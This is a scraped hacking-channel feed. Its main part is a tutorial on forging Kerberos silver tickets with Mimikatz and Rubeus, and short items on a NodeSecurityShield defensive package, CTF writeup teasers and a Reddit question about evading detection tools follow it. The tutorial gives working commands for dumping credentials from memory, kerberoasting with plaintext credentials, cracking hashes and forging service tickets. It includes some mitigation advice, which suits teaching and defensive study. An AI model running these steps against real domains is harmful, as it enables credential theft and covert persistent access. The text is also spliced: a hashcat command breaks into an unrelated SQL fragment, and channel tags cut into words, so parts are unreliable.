Hacking Articles
Domain Persistence: Silver Ticket Attack

IntroductionBenjamin Delpy (the creator of mimikatz) introduced the silver ticket attack in Blackhat 2014 in his abusing Kerberos session. Silver tickets are forged service or TGS tickets for specific services which can be used to maintain persistence on a compromised system connected with an Active Directory enterprise domain. In the attack, an attacker can craft a valid TGS of service and use the NTLM hash associated can further craft tickets for other services. The article contains basic theory and demonstration associated with the silver ticket attacks. Table of content* Silver Ticket Theory
* Silver Ticket using Mimikatz
* Silver Ticket using Rubeus
* Mitigation
* Conclusion Silver Ticket TheoryBefore we begin, it is highly recommended you read about golden tickets here.

The basic flow of Kerberos can be understood by following our article here. Once you’ve read and understood how Kerberos works, we can proceed with Silver Ticket attack.

With golden ticket attack, we used the hash of a krbtgt account whereas in the case of the silver ticket attack we will use the password hash of a service account. The password hash of the service account can be extracted by various methods, Kerberoasting being one. Since no intermediary TGT is required for the silver ticket attack to work, silver tickets can be forged without any communication with a Domain Controller and hence is stealthier than golden ticket attack.

The way a silver ticket attack works are as follows:

* STEP 1: Compromise the password hash (NTLM hash) of a service account. User can use Mimikatz, Kerberoasting etc to do this.
* STEP 2: For a new ticket by specifying the following things:
* Service hash
* Service name
* Target FQDN
* Domain SID

* STEP 3: Inject the newly created silver ticket into the terminal session to utilize and maintain persistence

Let’s see this in action. Silver Ticket via MimikatzIn the demo you will now see, you’ll notice that we have used NTLM hash of the machine account “dc1$.” Many of you might get confused as we had to use the hash of a service account. Please note that a computer also hosts multiple services, one of which is the Common Internet File System Service (CIFS – the file sharing service). Thus, the password hash of the CIFS service is the same as the machine account.

Goal: Craft a silver ticket to establish persistence on CIFS (sharing) on dc1.ignite.local machine

Since the attack is all related to maintaining persistence, we have to assume the following:

* Attacker has compromised a low priv victim machine (here, username: harshitrajpal)
* Attacker has somehow gained password/NTLM of the target machine (dc1.ignite.local)
* Attacker crafts silver ticket on low priv machine to gain access and maintain persistence on CIFS service on dc1.ignite.local

Let’s first show you our current user, tickets and what happens when we access sharing on dc1.ignite.local

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicAZE9aWw49yFvCEN2cJOzWjIe_G5AqlDaoy44n3lmZX-S166YuTDUGGPyZFIGnZLyM5E-MDe3__tJCsZcqcQ9-2WCItux_IBNBVTfEYwev1YGhvX5atfrti8Cf-vMjQ0OtG8tLfrolMFzEEgg2GmX6eTY7T3BBmv1h1iIf80KJbhX8kO14vSTbYvgLQ/s16000/1.png?w=640&ssl=1

The above machine was the low priv machine.

Next, we need dc1.ignite.local computer account’s hashes. There could be various methods to do so but we’ll fasttrack and use Mimikatz to obtain it. Let’s activate mimikatz first and dump the hashes using sekurlsa::logonpasswords command. Note that you can follow any method to dump hashes.
privilege::debug
sekurlsa::logonpasswords
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNLcYnRAZlnmL_2zhm-3w8Huw4uUU1dEB51E80P-B5x7H8fCpRx-902bToFCkQBsG6EZ0NJm78z_ijIaX2LKRa9v5fRDalBE2lxNNex1vo5rJ0-lR5fmLuRSRy5YLs20Gq1ALeGWpS_l3q3eM166zq_CiQA-1LdpCBnS7XFBxqdWv64F8WyeO[...]

___________________________
@hacking_Attack
@Hacking_Video

noRssMg/s16000/2.png?w=640&ssl=1

This shall dump all the hashes in machine memory including the hash of the machine account. Upon a little scrolling, we found NTLM of our machine account “dc1$”

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgApInarRBN5f2Edquc7O70XTnmKNm7NDeRCi77qigf46iGKfdDdLPU1MQgWqlKi3V29KO1FGGVi714NXRu7I-yS8yomgEwU2j_HpXeNUYguQjpKnY01MAyWHWHHdIwboxQzOqKtk8Wda-SZt-lJBcjnL3Xo06MwSEXx-vBQj5Jr_JwSPPRpoQI177sbA/s16000/3.png?w=640&ssl=1

Next, to forge a silver ticket we have to find SID of the domain which can easily be found using the command. Please note that the digits after the last hyphen (here, 1115 is called the relative SID and we don’t want that. Everything before that part is the domain SID that is relevant to us)
whoami /user
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-zzxFaePI-MbGlgyMXyS4OtRTcvChM6Q59chGSl3JDHrfkPvcIKTCPajrMI7VXOwWgMMNZN4nV0gmkuSM7uOyv7xS6wbZMpiPasQbyaPJruWQ1cH7yWLy8M5gOg7QQsYVY4BEOSkxmS0oscTVzcAPEHAAGrSOMcvge7R--To1YHzMgtfvlH76f3zTAA/s16000/4.png?w=640&ssl=1

Now, to forge a silver ticket, Mimikatz’s “golden” module can be used. We just insert our variables.

Here, I am using /ptt flag to insert the ticket directly in the current shell.

/id: It is any random ID that would be visible in the event logs upon inspection. Can be randomized.

/sid: Of the domain. Read more about SID here.

/domain: Valid FQDN of the target domain

/service: Service for which ticket is generated

/rc4: NTLM hash of the victim machine’s computer account (found previously)

/user: Impersonated username
kerberos::golden /sid:S-1-5-21-2377760704-1974907900-3052042330 /domain:ignite.local /target:dc1.ignite.local /service:cifs /rc4:a5902b4b82ddf1ce42d073f06acecf07 /user:harshitrajpal /ptt /id:1339
exit
klist
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4pbgA_fJnfWJHVJfKnwJEsKL6l6si0Vupxx6FaVApcO5vHlEmHdarN4nhOClVCKTkEm39PKRZZcSiNNccnouM6bH3fNmUpY-3bVLqVdJcyHVhYdjP5GUxP-ysu_lfWl7zUpGVsad2qYbdIr0OFAW-p3BPZGBEiwYtKTz7Hj7g6CBZWJuCZG-rGHB6XA/s16000/5.png?w=640&ssl=1

As you can see above, a ticket has now been saved in the current session’s memory. Now you would be able to access CIFS of the target machine.
dir \\dc1.ignite.local\c$
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRh5xHeMLApmdBu0vHyGpsImPhiDhY87WImt3_XkyIwIr69BZANc0fqcCX8SquKq_-XYhWHkP2qKhOKA7bQIfIfgW5TxpYpwZm3lp-Gq_2WYZgGUodpuytseUBVpgt3efX-OtCObpFYAiSpAXk--azafH7juYeH0YKZzveZICVz_436Dcdrmi0bw_4Hg/s16000/6.png?w=640&ssl=1

If, however, you do not want to insert the ticket in memory right away and rather would prefer that a ticket.kirbi file be saved instead, you just remove the “/ptt” flag and leave rest as it is
kerberos::golden /sid:S-1-5-21-2377760704-1974907900-3052042330 /domain:ignite.local /target:dc1.ignite.local /service:cifs /rc4:a5902b4b82ddf1ce42d073f06acecf07 /user:harshitrajpal /id:1339
exit
klist
dir
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK3ochIsZCuNCrqsjXrYvb6-FIxdYKNSvV1U2BCOTlKpsT0r4D9vmeQjO5mB1umrGPQt1o7N4wCqaRs4ajL-gBEwMmpNuK2j2vBuMs2V0Jjqtc4u-mPs_Ai1hZOAq-WCdZ1YTLsTdh27ELjtUZGCQ8Mrj0Pf-YzFRQ-6bHRNbn6Jvds075hXRYZGyiQA/s16000/7.png?w=640&ssl=1

Now this kirbi ticket can be used with tools like Rubeus ptt module and inserted in memory and used whenever we want
rubeus.exe ptt /ticket:ticket.kirbi
klist
dir \\dc1.ignite.local\c$
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilj0PEXCnMuDNMg-lnHN0UHh4VaJ2gz1o-zJ__PkAwOX6f45sz3mPoNztgZ1vM-1EfyPpaA77O0wVw71TRJ248lJb8XBslpj3WMFwGpvsTuIHwSP1rDGxHGl89moMoXon8sFCTT0G9iWTUkz-9pcbTMSPJhbWC1KvNipKF0-iPPaRPoMRkUkqYiZvJEg/s16000/8.png?w=640&ssl=1

And of course, the entire procedure above can be done using Rubeus only. Silver Ticket using RubeusWe have already seen CIFS as an example and if you’re following the article so far, you’d be able to replicate the same with Rubeus too by using the commands given just a scroll away. Howev[...]

___________________________
@hacking_Attack
@Hacking_Video

er, I wanted to target a different service this time so I set up a SQL server and assigned the service to be run by the user “sqluser” (can be done by going to run->services.msc->SQL->properties->logon)

This shall make SQL Service run via our newly created service account.

Now, we need to compromise NTLM hash of this account. We will use the Kerberoasting attack for this. Please follow our guide here to understand the attack but in short, you run the following command in Rubeus.

/domain: target FQDN

/creduser: Any valid compromised username

/credpassword: Valid password of the compromised user

/nowrap: For the ticket blob to appear in single line in Rubeus
rubeus.exe kerberoast /domain:ignite.local /creduser:ignite.local\aarti /credpassword:Password@1 /nowrap
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLHbIAMWPF1UJF0ACeAx7DcDeCVMB6UuPmN6kQTh-rH3fD7AjrFHuei6AFx_-NrE90cuqhm35aRXntKKqLgBN97cAHEVoW5bgLSmUp5_LRMr4A8ufPextlUrhi2U-oQW_iF9iPM3dqk0ivOYB3fIWHadLoke2qIoWSbDXRWxQi7KVZey7HbnezC2FNww/s16000/9.png?w=640&ssl=1

As you can see, Rubeus has automatically determined a valid Kerberoastable account and dumped its TGS. We will now extract the Password from this TGS offline using Hashcat
hashcat -m 13100 '$krb5tgs$23$*sqluser$ignite.local$MSSQLSvc/dc1.ignite.local:1433@ignite.local*$..___________________________
@hacking_Attack
@Hacking_Video

ME() AS HostName
go
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZWEifHiEr6TMeRubxJLujatTeWay65ooYGMDNCw6blccqq5BTArf_e4wUnYkLtVQJ_mYxJgVxE1V_KRGLQE5RAqB2BfSWsGKAjrbwav2vkymtcxurA6YVSrnwcZOEKang6qRHIZPsN2bkUoo0LQxj8Hk0-Q3ghsDmBlW1Pz1dvB3cF5X3xIKJSSUxoQ/s16000/16.png?w=640&ssl=1

And voila! As you can see our user can now connect to the SQL service using the ticket we just forged. MitigationSince the attack is based on an offline mechanism and no DC is involved it is difficult to mitigate the attack. However, the following steps can still be taken to ensure protection:

* Enable PAC Validation. If enabled, the ticket presented shall be first validated by DC. Thus, silver tickets will be rejected right away.
* Use strong passwords to prevent bruteforce demonstrated
* Control necessary privileges or whitelist certain users that can use particular services.
* Mitigate Kerberoasting ConclusionThe article talked about Silver Ticket attack and how a particular service’s TGS can be forged using this methodology. We also demonstrated practically using 2 tools how an attacker can forge and utilize a silver ticket. In real life environment, getting a golden ticket is quite hard but silver tickets can be forged easily as awareness about Kerberos protection is not quite out there. Hope you liked the article. Thanks for reading.

Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here

The post Domain Persistence: Silver Ticket Attack appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Noter — HackTheBox [writeup]

https://cdn-images-1.medium.com/max/1402/1*BU2D0sQWJ_NOsXYIhdMKQQ.png
Noter is the Linux machine. The box IP address is 10.10.11.160

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
TryHackMe: Advent of Cyber 3 (2021)

https://cdn-images-1.medium.com/max/1080/1*cLtE4yUUWRmW2sKiJkuUCg.png
TryHackMe: [Day 1] Web Exploitation Save The Gifts

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

NodeSecurityShield - A Developer And Security Engineer Friendly Package For Securing NodeJS Applications
http://www.kitploit.com/2022/05/nodesecurityshield-developer-and.html

___________________________
@hacking_Attack
@Hacking_Video

A Developer and Security Engineer friendly package for Securing NodeJS (https://www.kitploit.com/search/label/NodeJS) Applications. Inspired by the log4J vulnerability (https://www.kitploit.com/search/label/Vulnerability) (CVE-2021-44228 (https://nvd.nist.gov/vuln/detail/CVE-2021-44228)) which can be exploited because an application can make arbitrary network calls. We felt there is an need for an application to declare what privileges it can have so that exploitation (https://www.kitploit.com/search/label/Exploitation) of such vulnerabilities (https://www.kitploit.com/search/label/vulnerabilities) becomes harder. To achieve this, NSS (Node Security Shield) has Resource Access (https://www.kitploit.com/search/label/Access) Policy.
Resource Access Policy (RAP) Resource Access Policy is similar to CSP(Content Security Policy (https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP)). It lets the developer/security engineer declare what resources an application should access. And Node Security Shield will enforce it. Installation Install Node Security Shield using npm npm install nodesecurityshield Usage // Require Node Security Shield
let nodeSecurityShield = require('nodesecurityshield');

// Enable Attack Monitoring and/or Blocking
nodeSecurityShield.enableAttackMonitoring(resourceAccessPolicy ,callbackFunction); Sample resourceAccessPolicy const resourceAccessPolicy = {
"outBoundRequest" : {
"blockedDomains" : ["*.123.com", "stats.abc.com", 'xyz.com'],
"allowedDomains" : ["*.domdog.io"]
}
}; Note: blockedDomains holds precedence over allowedDomains. i.e., requests checked against blockedDomains first then allowedDomains. Sample callbackFunction for Attack Monitoring var callbackFunction = function (violationEvent) {
console.log(violationEvent);
} Sample callbackFunction for Attack Blocking var callbackFunction = function (violationEvent) {
throw new Error("Request Blocked. It violates declared Resource Access Policy.")
} Sample violationEvent {
"violationtType": "Outbound Request",
"message": "Outbound request to 'www.malicious.com' violates declared 'Resource Access Policy (RAP)'.",
"policy": {
"outBoundRequest" : {
"blockedDomains" : ["*.123.com", "stats.abc.com", 'xyz.com'],
"allowedDomains" : ["*.domdog.io"]
}
} Integrating with Sentry Sample callbackFunction to integrate with Sentry (https://sentry.io/) var callbackFunction = function (violationEvent) {

var e = new Error();
e.name = 'Resource Access Policy Violation';
e.message = JSON.stringify(violationEvent);
Sentry.captureException(e);

} Screenshot from Sentry dashboard

___________________________
@hacking_Attack
@Hacking_Video

Features Attack Monitoring Outbound Network Calls Attack Blocking Outbound Network Calls Roadmap Attack Monitoring Command Execution File Calls Attack Blocking Command Execution File Calls Vulnerability Scanner Authors Lavakumar Kuppan Github - @lavakumar (https://github.com/Lavakumar) Twitter - @lavakumark (https://twitter.com/lavakumark) Sukesh Pappu Github - @thelogicalbeard (https://www.github.com/thelogicalbeard) Twitter - @thelogicalbeard (https://www.twitter.com/thelogicalbeard) License Apache License 2.0 (https://github.com/DomdogSec/NodeSecurityShield/blob/main/LICENSE)

Download NodeSecurityShield (https://github.com/DomdogSec/NodeSecurityShield)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Can hacking tools go undetected

My company is trying out a software tool to detect hacks. We are doing a test, I'm thinking of NMAP, OWASP ZAP etc, to see if they are detected.

Is there a way to go undetected, I know NAMP can do stealth mode.

submitted by /u/Accomplished_Ad3821
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
What certification to start with

I have gone thru numerous courses over the past few months and I’m getting more confidant of my growing skills each day , but I’m a tad overwhelmed with all the different certifications. I’m not sure which one to start with , any suggestions?

submitted by /u/Many-Trouble-5616
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
NodeSecurityShield - A Developer And Security Engineer Friendly Package For Securing NodeJS Applications

https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgofQEgI4u-jUWx7H-ii-ce51t0I-ACbfpzxkI99qosLwK_aTtNOTWEj2fYNW-kqczhOwYkmsElkG-icMNC6pJRLUP0a8W5JP6iyjSfugXpfRZ3-0u-wdi0_CbL0nRYgHBlIaX_AdSvBOV8yP1g8__HeqoWa0jw7cAKXXqVgc42zZXSv9z5aQcX6zIT/s320/NodeSecurityShield_1_NodeSecurityShield.png A Developer and Security Engineer friendly package for Securing NodeJS Applications.

Inspired by the log4J vulnerability (CVE-2021-44228) which can be exploited because an application can make arbitrary network calls.

We felt there is an need for an application to declare what privileges it can have so that exploitation of such vulnerabilities becomes harder.

To achieve this, NSS (Node Security Shield) has Resource Access Policy. Resource Access Policy (RAP)Resource Access Policy is similar to CSP(Content Security Policy).

It lets the developer/security engineer declare what resources an application should access. And Node Security Shield will enforce it. InstallationInstall Node Security Shield using npm npm install nodesecurityshieldUsage// Require Node Security Shield
let nodeSecurityShield = require('nodesecurityshield');

// Enable Attack Monitoring and/or Blocking
nodeSecurityShield.enableAttackMonitoring(resourceAccessPolicy ,callbackFunction);Sample resourceAccessPolicy const resourceAccessPolicy = {
"outBoundRequest" : {
"blockedDomains" : ["*.123.com", "stats.abc.com", 'xyz.com'],
"allowedDomains" : ["*.domdog.io"]
}
};* Note: blockedDomains holds precedence over allowedDomains.
* i.e., requests checked against blockedDomains first then allowedDomains.

Sample callbackFunction for Attack Monitoring var callbackFunction = function (violationEvent) {
console.log(violationEvent);
}Sample callbackFunction for Attack Blocking var callbackFunction = function (violationEvent) {
throw new Error("Request Blocked. It violates declared Resource Access Policy.")
}Sample violationEvent {
"violationtType": "Outbound Request",
"message": "Outbound request to 'www.malicious.com' violates declared 'Resource Access Policy (RAP)'.",
"policy": {
"outBoundRequest" : {
"blockedDomains" : ["*.123.com", "stats.abc.com", 'xyz.com'],
"allowedDomains" : ["*.domdog.io"]
}
}Integrating with SentrySample callbackFunction to integrate with Sentry var callbackFunction = function (violationEvent) {

var e = new Error();
e.name = 'Resource Access Policy Violation';
e.message = JSON.stringify(violationEvent);
Sentry.captureException(e);

}Screenshot from Sentry dashboard https://blogger.googleusercontent.com/img/a/AVvXsEi4IGbW8O-xScePg6pGyBGXBQ7FSFzOqBuoDaW3610t9f6LrEk3j8Sqw82oHePkczzIZdQkpr_k1itqPyuitzOyvPB0PiLdk6o0Um3rVvZ36t73wh74HpePpstHki9r1k14nY9G4beH1i4mTJjFVs3sWoJPZ7HA29E-3EpVZ13kxr6G1vpnjelC0V2r=w640-h96 Features* Attack Monitoring
* Outbound Network Calls

* Attack Blocking
* Outbound Network Calls Roadmap* Attack Monitoring
* Command Execution
* File Calls

* Attack Blocking
* Command Execution
* File Calls

* Vulnerability Scanner Authors* Lavakumar Kuppan
* Github - @lavakumar
* Twitter - @lavakumark

* Sukesh Pappu
* Github - @thelogicalbeard
* Twitter - @thelogicalbeard LicenseApache License 2.0 Download NodeSecurityShield

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
D&D is Best When It’s Mr. Robot | Cryptomancer

https://cdn-images-1.medium.com/max/715/1*5HjzrsmrXE1xD4xzS02HJw.jpeg
Lord of the Rings meets Watch_Dogs

Continue reading on The Ugly Monster »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Linux Privilege Escalation

https://cdn-images-1.medium.com/max/1111/1*xbtgNsNcIbzwrTfnjmeU0g.png
~# https://beacons.ai/f4_zzz

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video